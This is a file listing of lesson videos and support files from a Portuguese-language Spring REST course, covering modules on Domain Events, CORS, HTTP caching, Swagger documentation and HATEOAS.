    15 E-mails transacionais e Domain Events/ESR - 15.09 - Desafio - Implementando serviço de envio de e-mail sandbox.mp4 22.11 MB
    15 E-mails transacionais e Domain Events/ESR - 15.10 - Conhecendo o padrão Domain Events do DDD.mp4 32.8 MB
    15 E-mails transacionais e Domain Events/ESR - 15.11 - Publicando Domain Events a partir do Aggregate Root.mp4 33.01 MB
    15 E-mails transacionais e Domain Events/ESR - 15.12 - Observando e reagindo a Domain Events.mp4 30.76 MB
    15 E-mails transacionais e Domain Events/ESR - 15.13 - Reagindo a Domain Events em fases específicas da transação.mp4 23.43 MB
    15 E-mails transacionais e Domain Events/ESR - 15.14 - Desafio - enviando e-mails no cancelamento de pedidos.mp4 7.14 MB
    15 E-mails transacionais e Domain Events/Conteudo de apoio/15.6. Melhorando o texto do e-mail com FTL FreeMarker Template Language.png 13.93 KB
    15 E-mails transacionais e Domain Events/Conteudo de apoio/15.6. Melhorando o texto do e-mail com FTL FreeMarker Template Language.txt 9.36 KB
    15 E-mails transacionais e Domain Events/Conteudo de apoio/15.6. Melhorando o texto do e-mail com FTL FreeMarker Template Language.URL 275 B
    15 E-mails transacionais e Domain Events/Conteudo de apoio/15.8. Desafio implementando serviço de envio de e-mail fake.mp4 1.14 MB
    15 E-mails transacionais e Domain Events/Conteudo de apoio/15.8. Desafio implementando serviço de envio de e-mail fake.txt 1.75 KB
    15 E-mails transacionais e Domain Events/Conteudo de apoio/15.9. Desafio Implementando serviço de envio de e-mail sandbox.mp4 1.81 MB
    15 E-mails transacionais e Domain Events/Conteudo de apoio/15.9. Desafio Implementando serviço de envio de e-mail sandbox.txt 2.34 KB
    15 E-mails transacionais e Domain Events/Conteudo de apoio/15.14. Desafio enviando e-mails no cancelamento de pedidos.mp4 2.14 MB
    15 E-mails transacionais e Domain Events/Conteudo de apoio/15.14. Desafio enviando e-mails no cancelamento de pedidos.txt 2.82 KB
    16 CORS e consumo da API com JavaScript e Java/ESR - 16.01 - Implementando uma chamada na REST API com JavaScript.mp4 16.87 MB
    16 CORS e consumo da API com JavaScript e Java/ESR - 16.02 - Testando a requisição na API com JavaScript e entendendo a Same Origin Policy.mp4 38.94 MB
    16 CORS e consumo da API com JavaScript e Java/ESR - 16.03 - Entendendo o funcionamento básico de CORS e habilitando na API.mp4 26.76 MB
    16 CORS e consumo da API com JavaScript e Java/ESR - 16.04 - Habilitando CORS em controladores e métodos com @CrossOrigin.mp4 29.29 MB
    16 CORS e consumo da API com JavaScript e Java/ESR - 16.05 - Entendendo o funcionamento de preflight do CORS.mp4 39.17 MB
    16 CORS e consumo da API com JavaScript e Java/ESR - 16.06 - Habilitando CORS globalmente no projeto da API.mp4 16.94 MB
    16 CORS e consumo da API com JavaScript e Java/ESR - 16.07 - Desafio - implementando uma requisição GET com JavaScript.mp4 5.85 MB
    16 CORS e consumo da API com JavaScript e Java/ESR - 16.08 - Implementando um formulário de cadastro e fazendo requisição POST com JavaScript.mp4 37.03 MB
    16 CORS e consumo da API com JavaScript e Java/ESR - 16.09 - Desafio - implementando uma requisição DELETE com JavaScript.mp4 6.07 MB
    16 CORS e consumo da API com JavaScript e Java/ESR - 16.10 - Implementando um client da REST API com Java e Spring RestTemplate.mp4 51.15 MB
    16 CORS e consumo da API com JavaScript e Java/ESR - 16.11 - Tratando respostas com código de erro no client Java.mp4 114.2 MB
    16 CORS e consumo da API com JavaScript e Java/ESR - 16.12 - Desafio - Implementando uma requisição POST no client Java.mp4 35.67 MB
    16 CORS e consumo da API com JavaScript e Java/Conteudo de apoio/16.5. Entendendo o funcionamento de preflight do CORS text.png 149.89 KB
    16 CORS e consumo da API com JavaScript e Java/Conteudo de apoio/16.5. Entendendo o funcionamento de preflight do CORS.png 15.23 KB
    16 CORS e consumo da API com JavaScript e Java/Conteudo de apoio/16.5. Entendendo o funcionamento de preflight do CORS.txt 70 B
    16 CORS e consumo da API com JavaScript e Java/Conteudo de apoio/16.5. Entendendo o funcionamento de preflight do CORS.URL 254 B
    16 CORS e consumo da API com JavaScript e Java/Conteudo de apoio/16.7. Desafio implementando uma requisição GET com JavaScript.png 42.5 KB
    16 CORS e consumo da API com JavaScript e Java/Conteudo de apoio/16.7. Desafio implementando uma requisição GET com JavaScript.txt 316 B
    16 CORS e consumo da API com JavaScript e Java/Conteudo de apoio/16.9. Desafio implementando uma requisição DELETE com JavaScript.png 75.14 KB
    16 CORS e consumo da API com JavaScript e Java/Conteudo de apoio/16.9. Desafio implementando uma requisição DELETE com JavaScript.txt 679 B
    16 CORS e consumo da API com JavaScript e Java/Conteudo de apoio/16.12. Desafio Implementando uma requisição POST no client Java.mp4 2.57 MB
    16 CORS e consumo da API com JavaScript e Java/Conteudo de apoio/16.12. Desafio Implementando uma requisição POST no client Java.txt 3.47 KB
    17 Cache de HTTP/ESR - 17.01 - Introdução ao Cache de HTTP.mp4 45.04 MB
    17 Cache de HTTP/ESR - 17.02 - Habilitando o cache com o cabeçalho Cache-Control e a diretiva max-age.mp4 32.46 MB
    17 Cache de HTTP/ESR - 17.03 - Desafio - adicionando o cabeçalho Cache-Control na resposta.mp4 4.97 MB
    17 Cache de HTTP/ESR - 17.04 - Entendendo a validação de representações em cache com ETags.mp4 18.56 MB
    17 Cache de HTTP/ESR - 17.05 - Implementando requisições condicionais com Shallow ETags.mp4 108.05 MB
    17 Cache de HTTP/ESR - 17.06 - Adicionando outras diretivas de Cache-Control na resposta HTTP.mp4 45.91 MB
    17 Cache de HTTP/ESR - 17.07 - Usando a diretiva no-cache no cabeçalho Cache-Control da requisição.mp4 6.4 MB
    17 Cache de HTTP/ESR - 17.08 - Entendendo e preparando a implementação de Deep ETags.mp4 42.88 MB
    17 Cache de HTTP/ESR - 17.09 - Implementando requisições condicionais com Deep ETags.mp4 136.71 MB
    17 Cache de HTTP/ESR - 17.10 - Desafio - implementando requisições condicionais com Deep ETags.mp4 5.32 MB
    17 Cache de HTTP/Conteudo de apoio/17.3. Desafio adicionando o cabeçalho Cache-Control na resposta.png 65.22 KB
    17 Cache de HTTP/Conteudo de apoio/17.3. Desafio adicionando o cabeçalho Cache-Control na resposta.txt 595 B
    17 Cache de HTTP/Conteudo de apoio/17.5. Implementando requisições condicionais com Shallow ETags.png 14.71 KB
    17 Cache de HTTP/Conteudo de apoio/17.5. Implementando requisições condicionais com Shallow ETags.txt 35 B
    17 Cache de HTTP/Conteudo de apoio/17.5. Implementando requisições condicionais com Shallow ETags.URL 219 B
    17 Cache de HTTP/Conteudo de apoio/17.10. Desafio implementando requisições condicionais com Deep ETags.mp4 1.15 MB
    17 Cache de HTTP/Conteudo de apoio/17.10. Desafio implementando requisições condicionais com Deep ETags.txt 1.32 KB
    18 Documentação da API com OpenAPI Swagger UI e SpringFox/ESR - 18.01 - Introdução à documentação de REST APIs.mp4 5.49 MB
    18 Documentação da API com OpenAPI Swagger UI e SpringFox/ESR - 18.02 -Conhecendo a OpenAPI antes conhecida como Swagger.mp4 8.81 MB
    18 Documentação da API com OpenAPI Swagger UI e SpringFox/ESR - 18.03 - Gerando a definição OpenAPI em JSON com SpringFox.mp4 62.49 MB
    18 Documentação da API com OpenAPI Swagger UI e SpringFox/ESR - 18.04 - Gerando a documentação da API em HTML com Swagger UI e SpringFox.mp4 64.31 MB
    18 Documentação da API com OpenAPI Swagger UI e SpringFox/ESR - 18.05 - Selecionando os endpoints da API para gerar a documentação.mp4 30.62 MB
    18 Documentação da API com OpenAPI Swagger UI e SpringFox/ESR - 18.06 - Descrevendo informações da API na documentação.mp4 17.95 MB
    18 Documentação da API com OpenAPI Swagger UI e SpringFox/ESR - 18.07 - Descrevendo tags na documentação e associando com controllers.mp4 17.42 MB
    18 Documentação da API com OpenAPI Swagger UI e SpringFox/ESR - 18.08 - Descrevendo as operações de endpoints na documentação.mp4 6.5 MB
    18 Documentação da API com OpenAPI Swagger UI e SpringFox/ESR - 18.09 - Descrevendo parâmetros de entrada na documentação.mp4 53.31 MB
    18 Documentação da API com OpenAPI Swagger UI e SpringFox/ESR - 18.10 - Descrevendo modelos de representações e suas propriedades.mp4 49.02 MB
    18 Documentação da API com OpenAPI Swagger UI e SpringFox/ESR - 18.11 - Descrevendo restrições de validação de propriedades do modelo.mp4 55.15 MB
    18 Documentação da API com OpenAPI Swagger UI e SpringFox/ESR - 18.12 - Descrevendo códigos de status de respostas de forma global.mp4 71.02 MB
    18 Documentação da API com OpenAPI Swagger UI e SpringFox/ESR - 18.13 - Desafio - descrevendo códigos de status de respostas de forma global.mp4 6.36 MB
    18 Documentação da API com OpenAPI Swagger UI e SpringFox/ESR - 18.14 - Descrevendo o modelo de representação de problema.mp4 72.54 MB
    18 Documentação da API com OpenAPI Swagger UI e SpringFox/ESR - 18.15 - Referenciando modelo de representação de problema com códigos de status de erro.mp4 35.75 MB
    18 Documentação da API com OpenAPI Swagger UI e SpringFox/ESR - 18.16 - Descrevendo códigos de status de respostas em endpoints específicos.mp4 60.48 MB
    18 Documentação da API com OpenAPI Swagger UI e SpringFox/ESR - 18.17 - Desacoplando anotações do Swagger dos controladores.mp4 51.89 MB
    18 Documentação da API com OpenAPI Swagger UI e SpringFox/ESR - 18.18 - Desafio - descrevendo documentação de endpoints de grupos.mp4 5.4 MB
    18 Documentação da API com OpenAPI Swagger UI e SpringFox/ESR - 18.19 - Descrevendo media type da resposta nos endpoints.mp4 10.07 MB
    18 Documentação da API com OpenAPI Swagger UI e SpringFox/ESR - 18.20 - Corrigindo documentação com substituição de Pageable.mp4 46 MB
    18 Documentação da API com OpenAPI Swagger UI e SpringFox/ESR - 18.21 - Corrigindo documentação com substituição Page.mp4 87.84 MB
    18 Documentação da API com OpenAPI Swagger UI e SpringFox/ESR - 18.22 - Desafio - descrevendo documentação de endpoints de cozinhas.mp4 1.77 MB
    18 Documentação da API com OpenAPI Swagger UI e SpringFox/ESR - 18.23 - Ignorando tipos de parâmetros de operações na documentação.mp4 17.69 MB
    18 Documentação da API com OpenAPI Swagger UI e SpringFox/ESR - 18.24 - Desafio - descrevendo documentação de endpoints de formas de pagamento.mp4 2.53 MB
    18 Documentação da API com OpenAPI Swagger UI e SpringFox/ESR - 18.25 - Descrevendo parâmetros globais em operações.mp4 43.43 MB
    18 Documentação da API com OpenAPI Swagger UI e SpringFox/ESR - 18.26 - Descrevendo parâmetros implícitos em operações.mp4 19.37 MB
    18 Documentação da API com OpenAPI Swagger UI e SpringFox/ESR - 18.27 - Desafio - descrevendo documentação de endpoints de pedidos.mp4 18.71 MB
    18 Documentação da API com OpenAPI Swagger UI e SpringFox/ESR - 18.28 - Descrevendo parâmetros de projeções em endpoints de consultas.mp4 85.43 MB
    18 Documentação da API com OpenAPI Swagger UI e SpringFox/ESR - 18.29 - Desafio - descrevendo documentação de endpoints de restaurantes.mp4 13.94 MB
    18 Documentação da API com OpenAPI Swagger UI e SpringFox/ESR - 18.30 - Desafio - descrevendo documentação de endpoints de estados.mp4 1.27 MB
    18 Documentação da API com OpenAPI Swagger UI e SpringFox/ESR - 18.31 - Desafio - descrevendo documentação de endpoints de fluxo de pedidos.mp4 2.88 MB
    18 Documentação da API com OpenAPI Swagger UI e SpringFox/ESR - 18.32 - Desafio - descrevendo documentação de endpoints de associação de restaurantes com formas de pagamento.mp4 6.15 MB
    18 Documentação da API com OpenAPI Swagger UI e SpringFox/ESR - 18.33 - Desafio - descrevendo documentação de endpoints de associação de restaurantes com usuários.mp4 4.87 MB
    18 Documentação da API com OpenAPI Swagger UI e SpringFox/ESR - 18.34 - Desafio - descrevendo documentação de endpoints de produtos.mp4 3.45 MB
    18 Documentação da API com OpenAPI Swagger UI e SpringFox/ESR - 18.35 - Desafio - descrevendo documentação de endpoints de fotos de produtos.mp4 43.66 MB
    18 Documentação da API com OpenAPI Swagger UI e SpringFox/ESR - 18.36 - Corrigindo documentação no Swagger UI para upload de arquivos.mp4 92.97 MB
    18 Documentação da API com OpenAPI Swagger UI e SpringFox/ESR - 18.37 - Desafio - descrevendo documentação de endpoints de associação de permissões com grupos.mp4 3.58 MB
    18 Documentação da API com OpenAPI Swagger UI e SpringFox/ESR - 18.38 - Desafio - descrevendo documentação de endpoints de usuários.mp4 1.83 MB
    18 Documentação da API com OpenAPI Swagger UI e SpringFox/ESR - 18.39 - Desafio - descrevendo documentação de endpoints de associação de grupos com usuários.mp4 2.59 MB
    18 Documentação da API com OpenAPI Swagger UI e SpringFox/ESR - 18.40 - Desafio - descrevendo documentação de endpoint de estatísticas.mp4 25.39 MB
    18 Documentação da API com OpenAPI Swagger UI e SpringFox/Conteudo de apoio/18.3. Gerando a definição OpenAPI em JSON com SpringFox.mp4 1010.61 KB
    18 Documentação da API com OpenAPI Swagger UI e SpringFox/Conteudo de apoio/18.3. Gerando a definição OpenAPI em JSON com SpringFox.txt 1.71 KB
    18 Documentação da API com OpenAPI Swagger UI e SpringFox/Conteudo de apoio/18.4. Gerando a documentação da API em HTML com Swagger UI e SpringFox.png 81.09 KB
    18 Documentação da API com OpenAPI Swagger UI e SpringFox/Conteudo de apoio/18.4. Gerando a documentação da API em HTML com Swagger UI e SpringFox.txt 681 B
    18 Documentação da API com OpenAPI Swagger UI e SpringFox/Conteudo de apoio/18.5. Selecionando os endpoints da API para gerar a documentação.png 186.45 KB
    18 Documentação da API com OpenAPI Swagger UI e SpringFox/Conteudo de apoio/18.5. Selecionando os endpoints da API para gerar a documentação.txt 1.29 KB
    18 Documentação da API com OpenAPI Swagger UI e SpringFox/Conteudo de apoio/18.6. Descrevendo informações da API na documentação.png 43.01 KB
    18 Documentação da API com OpenAPI Swagger UI e SpringFox/Conteudo de apoio/18.6. Descrevendo informações da API na documentação.txt 348 B
    18 Documentação da API com OpenAPI Swagger UI e SpringFox/Conteudo de apoio/18.7. Descrevendo tags na documentação e associando com controllers.png 43.21 KB
    18 Documentação da API com OpenAPI Swagger UI e SpringFox/Conteudo de apoio/18.7. Descrevendo tags na documentação e associando com controllers.txt 351 B
    18 Documentação da API com OpenAPI Swagger UI e SpringFox/Conteudo de apoio/18.12. Descrevendo códigos de status de respostas de forma global.mp4 2.09 MB
    18 Documentação da API com OpenAPI Swagger UI e SpringFox/Conteudo de apoio/18.12. Descrevendo códigos de status de respostas de forma global.txt 1.92 KB
    18 Documentação da API com OpenAPI Swagger UI e SpringFox/Conteudo de apoio/18.13. Desafio descrevendo códigos de status de respostas de forma global.mp4 7.95 MB
    18 Documentação da API com OpenAPI Swagger UI e SpringFox/Conteudo de apoio/18.13. Desafio descrevendo códigos de status de respostas de forma global.txt 5.33 KB
    18 Documentação da API com OpenAPI Swagger UI e SpringFox/Conteudo de apoio/18.14. Descrevendo o modelo de representação de problema.mp4 2.14 MB
    18 Documentação da API com OpenAPI Swagger UI e SpringFox/Conteudo de apoio/18.14. Descrevendo o modelo de representação de problema.txt 1.83 KB
    18 Documentação da API com OpenAPI Swagger UI e SpringFox/Conteudo de apoio/18.15. Referenciando modelo de representação de problema com códigos de status de erro.mp4 5.43 MB
    18 Documentação da API com OpenAPI Swagger UI e SpringFox/Conteudo de apoio/18.15. Referenciando modelo de representação de problema com códigos de status de erro.txt 3.99 KB
    18 Documentação da API com OpenAPI Swagger UI e SpringFox/Conteudo de apoio/18.16. Descrevendo códigos de status de respostas em endpoints específicos.png 43.95 KB
    18 Documentação da API com OpenAPI Swagger UI e SpringFox/Conteudo de apoio/18.16. Descrevendo códigos de status de respostas em endpoints específicos.txt 351 B
    18 Documentação da API com OpenAPI Swagger UI e SpringFox/Conteudo de apoio/18.18. Desafio descrevendo documentação de endpoints de grupos.mp4 6 MB
    18 Documentação da API com OpenAPI Swagger UI e SpringFox/Conteudo de apoio/18.18. Desafio descrevendo documentação de endpoints de grupos.txt 2.81 KB
    18 Documentação da API com OpenAPI Swagger UI e SpringFox/Conteudo de apoio/18.19. Descrevendo media type da resposta nos endpoints.mp4 14.78 MB
    18 Documentação da API com OpenAPI Swagger UI e SpringFox/Conteudo de apoio/18.19. Descrevendo media type da resposta nos endpoints.txt 7.76 KB
    18 Documentação da API com OpenAPI Swagger UI e SpringFox/Conteudo de apoio/18.22. Desafio descrevendo documentação de endpoints de cozinhas.mp4 11.21 MB
    18 Documentação da API com OpenAPI Swagger UI e SpringFox/Conteudo de apoio/18.22. Desafio descrevendo documentação de endpoints de cozinhas.txt 7.63 KB
    18 Documentação da API com OpenAPI Swagger UI e SpringFox/Conteudo de apoio/18.24. Desafio descrevendo documentação de endpoints de formas de pagamento.mp4 8.7 MB
    18 Documentação da API com OpenAPI Swagger UI e SpringFox/Conteudo de apoio/18.24. Desafio descrevendo documentação de endpoints de formas de pagamento.txt 7.38 KB
    18 Documentação da API com OpenAPI Swagger UI e SpringFox/Conteudo de apoio/18.25. Descrevendo parâmetros globais em operações.png 167.1 KB
    18 Documentação da API com OpenAPI Swagger UI e SpringFox/Conteudo de apoio/18.25. Descrevendo parâmetros globais em operações.txt 1.1 KB
    18 Documentação da API com OpenAPI Swagger UI e SpringFox/Conteudo de apoio/18.27. Desafio descrevendo documentação de endpoints de pedidos.mp4 18.69 MB
    18 Documentação da API com OpenAPI Swagger UI e SpringFox/Conteudo de apoio/18.27. Desafio descrevendo documentação de endpoints de pedidos.txt 8.39 KB
    18 Documentação da API com OpenAPI Swagger UI e SpringFox/Conteudo de apoio/18.29. Desafio descrevendo documentação de endpoints de restaurantes.mp4 11.13 MB
    18 Documentação da API com OpenAPI Swagger UI e SpringFox/Conteudo de apoio/18.29. Desafio descrevendo documentação de endpoints de restaurantes.txt 9.53 KB
    18 Documentação da API com OpenAPI Swagger UI e SpringFox/Conteudo de apoio/18.30. Desafio descrevendo documentação de endpoints de estados.mp4 7.19 MB
    18 Documentação da API com OpenAPI Swagger UI e SpringFox/Conteudo de apoio/18.30. Desafio descrevendo documentação de endpoints de estados.txt 3.28 KB
    18 Documentação da API com OpenAPI Swagger UI e SpringFox/Conteudo de apoio/18.31. Desafio descrevendo documentação de endpoints de fluxo de pedidos.mp4 3.81 MB
    18 Documentação da API com OpenAPI Swagger UI e SpringFox/Conteudo de apoio/18.31. Desafio descrevendo documentação de endpoints de fluxo de pedidos.txt 1.93 KB
    18 Documentação da API com OpenAPI Swagger UI e SpringFox/Conteudo de apoio/18.32. Desafio descrevendo documentação de endpoints de associação de restaurantes com formas de pagamento.mp4 4.3 MB
    18 Documentação da API com OpenAPI Swagger UI e SpringFox/Conteudo de apoio/18.32. Desafio descrevendo documentação de endpoints de associação de restaurantes com formas de pagamento.txt 2.25 KB
    18 Documentação da API com OpenAPI Swagger UI e SpringFox/Conteudo de apoio/18.33. Desafio descrevendo documentação de endpoints de associação de restaurantes com usuários.mp4 3.41 MB
    18 Documentação da API com OpenAPI Swagger UI e SpringFox/Conteudo de apoio/18.33. Desafio descrevendo documentação de endpoints de associação de restaurantes com usuários.txt 2.22 KB
    18 Documentação da API com OpenAPI Swagger UI e SpringFox/Conteudo de apoio/18.34. Desafio descrevendo documentação de endpoints de produtos.mp4 7.05 MB
    18 Documentação da API com OpenAPI Swagger UI e SpringFox/Conteudo de apoio/18.34. Desafio descrevendo documentação de endpoints de produtos.txt 4.54 KB
    18 Documentação da API com OpenAPI Swagger UI e SpringFox/Conteudo de apoio/18.35. Desafio descrevendo documentação de endpoints de fotos de produtos.mp4 7.33 MB
    18 Documentação da API com OpenAPI Swagger UI e SpringFox/Conteudo de apoio/18.35. Desafio descrevendo documentação de endpoints de fotos de produtos.txt 4.28 KB
    18 Documentação da API com OpenAPI Swagger UI e SpringFox/Conteudo de apoio/18.36. Corrigindo documentação no Swagger UI para upload de arquivos.png 42.44 KB
    18 Documentação da API com OpenAPI Swagger UI e SpringFox/Conteudo de apoio/18.36. Corrigindo documentação no Swagger UI para upload de arquivos.txt 251 B
    18 Documentação da API com OpenAPI Swagger UI e SpringFox/Conteudo de apoio/18.37. Desafio descrevendo documentação de endpoints de associação de permissões com grupos.mp4 6.86 MB
    18 Documentação da API com OpenAPI Swagger UI e SpringFox/Conteudo de apoio/18.37. Desafio descrevendo documentação de endpoints de associação de permissões com grupos.txt 4.61 KB
    18 Documentação da API com OpenAPI Swagger UI e SpringFox/Conteudo de apoio/18.38. Desafio descrevendo documentação de endpoints de usuários.mp4 8.28 MB
    18 Documentação da API com OpenAPI Swagger UI e SpringFox/Conteudo de apoio/18.38. Desafio descrevendo documentação de endpoints de usuários.txt 3.69 KB
    18 Documentação da API com OpenAPI Swagger UI e SpringFox/Conteudo de apoio/18.39. Desafio descrevendo documentação de endpoints de associação de grupos com usuários.mp4 2.71 MB
    18 Documentação da API com OpenAPI Swagger UI e SpringFox/Conteudo de apoio/18.39. Desafio descrevendo documentação de endpoints de associação de grupos com usuários.txt 2.05 KB
    18 Documentação da API com OpenAPI Swagger UI e SpringFox/Conteudo de apoio/18.40. Desafio descrevendo documentação de endpoint de estatísticas.mp4 3.46 MB
    18 Documentação da API com OpenAPI Swagger UI e SpringFox/Conteudo de apoio/18.40. Desafio descrevendo documentação de endpoint de estatísticas.txt 2.18 KB
    19 Discoverability e HATEOAS A Glória do REST/ESR - 19.01 - Introdução à Discoverability e HATEOAS.mp4 11.6 MB
    19 Discoverability e HATEOAS A Glória do REST/ESR - 19.02 - Adicionando a URI do recurso criado no header da resposta.mp4 94.15 MB
    19 Discoverability e HATEOAS A Glória do REST/ESR - 19.03 - Adicionando o Spring HATEOAS no projeto.mp4 8.59 MB
    19 Discoverability e HATEOAS A Glória do REST/ESR - 19.04 - Atualizando o projeto para Spring Boot 2.2 (Spring HATEOAS 1.0).mp4 21.9 MB
    19 Discoverability e HATEOAS A Glória do REST/ESR - 19.05 - Resolvendo conflito de dependências com Spring HATEOAS e SpringFox.mp4 112.52 MB
    19 Discoverability e HATEOAS A Glória do REST/ESR - 19.06 - Conhecendo especificações para formatos Hypermedia.mp4 8.92 MB
    19 Discoverability e HATEOAS A Glória do REST/ESR - 19.07 - Adicionando hypermedia na representação de recurso único com HAL.mp4 97.31 MB
    19 Discoverability e HATEOAS A Glória do REST/ESR - 19.08 - Construindo links dinâmicos com WebMvcLinkBuilder.mp4 52.27 MB
    19 Discoverability e HATEOAS A Glória do REST/ESR - 19.09 - Construindo links que apontam para métodos.mp4 56.5 MB
    19 Discoverability e HATEOAS A Glória do REST/ESR - 19.10 - Adicionando hypermedia na representação de recursos de coleção.mp4 74.29 MB
    19 Discoverability e HATEOAS A Glória do REST/ESR - 19.11 - Montando modelo de representação com RepresentationModelAssembler.mp4 105.09 MB
    19 Discoverability e HATEOAS A Glória do REST/ESR - 19.12 - Desafio - adicionando hypermedia nos recursos de usuários.mp4 9.96 MB
    19 Discoverability e HATEOAS A Glória do REST/ESR - 19.13 - Corrigindo link de coleção de recurso de responsáveis por restaurante.mp4 35.69 MB
    19 Discoverability e HATEOAS A Glória do REST/ESR - 19.14 - Desafio - adicionando hypermedia nos recursos de estados.mp4 2.52 MB
    19 Discoverability e HATEOAS A Glória do REST/ESR - 19.15 - Adicionando hypermedia em recursos com paginação.mp4 81.06 MB
    19 Discoverability e HATEOAS A Glória do REST/ESR - 19.16 - Desafio - adicionando hypermedia em recursos de pedidos (paginação).mp4 32.74 MB
    19 Discoverability e HATEOAS A Glória do REST/ESR - 19.17 - Corrigindo links de paginação com ordenação.mp4 88.28 MB
    19 Discoverability e HATEOAS A Glória do REST/ESR - 19.18 - Adicionando links com template variables.mp4 28.44 MB
    19 Discoverability e HATEOAS A Glória do REST/ESR - 19.19 - Desafio - adicionando template variables do filtro de pedidos.mp4 10.98 MB
    19 Discoverability e HATEOAS A Glória do REST/ESR - 19.20 - Refatorando construção e inclusão de links em representation model.mp4 37.05 MB
    19 Discoverability e HATEOAS A Glória do REST/ESR - 19.21 - Desafio - refatorando construção e inclusão de links.mp4 29.82 MB
    19 Discoverability e HATEOAS A Glória do REST/ESR - 19.22 - Adicionando links de transições de status de pedidos.mp4 56.1 MB
    19 Discoverability e HATEOAS A Glória do REST/ESR - 19.23 - Adicionando links condicionalmente.mp4 27.52 MB
    19 Discoverability e HATEOAS A Glória do REST/ESR - 19.24 - Desafio - adicionando hypermedia nos recursos de restaurantes.mp4 56.53 MB
    19 Discoverability e HATEOAS A Glória do REST/ESR - 19.25 - Desafio - adicionando links condicionais no recurso de restaurante.mp4 10.13 MB
    19 Discoverability e HATEOAS A Glória do REST/ESR - 19.26 - Desafio - adicionando template variable de projeção de restaurantes.mp4 10.31 MB
    19 Discoverability e HATEOAS A Glória do REST/ESR - 19.27 - Desafio - adicionando hypermedia nos recursos de formas de pagamento.mp4 7.95 MB
    19 Discoverability e HATEOAS A Glória do REST/ESR - 19.28 - Adicionando links com template variable de caminho para associação de formas de pagamento com restaurante.mp4 66.4 MB
    19 Discoverability e HATEOAS A Glória do REST/ESR - 19.29 - Adicionando links com template variable de caminho para associação de formas de pagamento com restaurante.mp4 46.06 MB
    19 Discoverability e HATEOAS A Glória do REST/ESR - 19.30 - Desafio - adicionando links de associação de restaurantes com responsáveis.mp4 8.84 MB
    19 Discoverability e HATEOAS A Glória do REST/ESR - 19.31 - Desafio - adicionando hypermedia nos recursos de produtos.mp4 23.8 MB
    19 Discoverability e HATEOAS A Glória do REST/ESR - 19.32 - Desafio - adicionando links para recurso de foto de produto v2.mp4 12.74 MB
    19 Discoverability e HATEOAS A Glória do REST/ESR - 19.33 - Desafio - adicionando hypermedia nos recursos de grupos.mp4 5.14 MB
    19 Discoverability e HATEOAS A Glória do REST/ESR - 19.34 - Desafio - adicionando links de associação de grupos com permissões.mp4 12.64 MB
    19 Discoverability e HATEOAS A Glória do REST/ESR - 19.35 - Desafio - adicionando links de associação de usuários com grupos.mp4 8.24 MB
    19 Discoverability e HATEOAS A Glória do REST/ESR - 19.36 - Implementando o Root Entry Point da API.mp4 45.59 MB
    19 Discoverability e HATEOAS A Glória do REST/ESR - 19.37 - Desafio - implementando endpoint com links de recursos de estatísticas.mp4 7.13 MB
    19 Discoverability e HATEOAS A Glória do REST/ESR - 19.38 - Comprimindo as respostas HTTP com Gzip.mp4 19.74 MB
    19 Discoverability e HATEOAS A Glória do REST/ESR - 19.39 - Corrigindo as propriedades de links na documentação.mp4 35.87 MB
    19 Discoverability e HATEOAS A Glória do REST/ESR - 19.40 - Corrigindo a documentação dos endpoints de cidades.mp4 48.77 MB
    19 Discoverability e HATEOAS A Glória do REST/ESR - 19.41 - Corrigindo a paginação na documentação.mp4 40.65 MB
    19 Discoverability e HATEOAS A Glória do REST/ESR - 19.42 - Desafio - corrigindo a documentação dos endpoints de estados.mp4 2.53 MB
    19 Discoverability e HATEOAS A Glória do REST/ESR - 19.43 - Desafio - corrigindo a documentação dos endpoints de formas de pagamento.mp4 18.43 MB
    19 Discoverability e HATEOAS A Glória do REST/ESR - 19.44 - Desafio - corrigindo a documentação dos endpoints de grupos.mp4 4 MB
    19 Discoverability e HATEOAS A Glória do REST/ESR - 19.45 - Desafio - corrigindo a documentação dos endpoint de pedidos (paginação).mp4 2.01 MB
    19 Discoverability e HATEOAS A Glória do REST/ESR - 19.46 - Desafio - corrigindo a documentação dos endpoints de produtos.mp4 1.85 MB
    19 Discoverability e HATEOAS A Glória do REST/ESR - 19.47 - Desafio - corrigindo a documentação dos endpoints de restaurantes e usuários.mp4 6.82 MB
    19 Discoverability e HATEOAS A Glória do REST/ESR - 19.48 - Removendo modelo de representação inutilizado da documentação.mp4 13.62 MB
    19 Discoverability e HATEOAS A Glória do REST/Conteudo de apoio/19.5. Resolvendo conflito de dependências com Spring HATEOAS e SpringFox.png 79.11 KB
    19 Discoverability e HATEOAS A Glória do REST/Conteudo de apoio/19.5. Resolvendo conflito de dependências com Spring HATEOAS e SpringFox.txt 635 B
    19 Discoverability e HATEOAS A Glória do REST/Conteudo de apoio/19.6. Conhecendo especificações para formatos Hypermedia.txt 474 B
    19 Discoverability e HATEOAS A Glória do REST/Conteudo de apoio/19.7. Adicionando hypermedia na representação de recurso único com HAL.png 156.48 KB
    19 Discoverability e HATEOAS A Glória do REST/Conteudo de apoio/19.7. Adicionando hypermedia na representação de recurso único com HAL.txt 1.09 KB
    19 Discoverability e HATEOAS A Glória do REST/Conteudo de apoio/19.8. Construindo links dinâmicos com WebMvcLinkBuilder.txt 253 B
    19 Discoverability e HATEOAS A Glória do REST/Conteudo de apoio/19.10. Adicionando hypermedia na representação de recursos de coleção.txt 768 B
    19 Discoverability e HATEOAS A Glória do REST/Conteudo de apoio/19.12. Desafio adicionando hypermedia nos recursos de usuários.mp4 4.98 MB
    19 Discoverability e HATEOAS A Glória do REST/Conteudo de apoio/19.12. Desafio adicionando hypermedia nos recursos de usuários.txt 2.51 KB
    19 Discoverability e HATEOAS A Glória do REST/Conteudo de apoio/19.14. Desafio adicionando hypermedia nos recursos de estados.mp4 3.06 MB
    19 Discoverability e HATEOAS A Glória do REST/Conteudo de apoio/19.14. Desafio adicionando hypermedia nos recursos de estados.txt 1.68 KB
    19 Discoverability e HATEOAS A Glória do REST/Conteudo de apoio/19.16. Desafio adicionando hypermedia em recursos de pedidos.mp4 9.09 MB
    19 Discoverability e HATEOAS A Glória do REST/Conteudo de apoio/19.16. Desafio adicionando hypermedia em recursos de pedidos.txt 5.28 KB
    19 Discoverability e HATEOAS A Glória do REST/Conteudo de apoio/19.19. Desafio adicionando template variables do filtro de pedidos.png 168.79 KB
    19 Discoverability e HATEOAS A Glória do REST/Conteudo de apoio/19.19. Desafio adicionando template variables do filtro de pedidos.txt 1.12 KB
    19 Discoverability e HATEOAS A Glória do REST/Conteudo de apoio/19.21. Desafio refatorando construção e inclusão de links.mp4 12.39 MB
    19 Discoverability e HATEOAS A Glória do REST/Conteudo de apoio/19.21. Desafio refatorando construção e inclusão de links.txt 7.96 KB
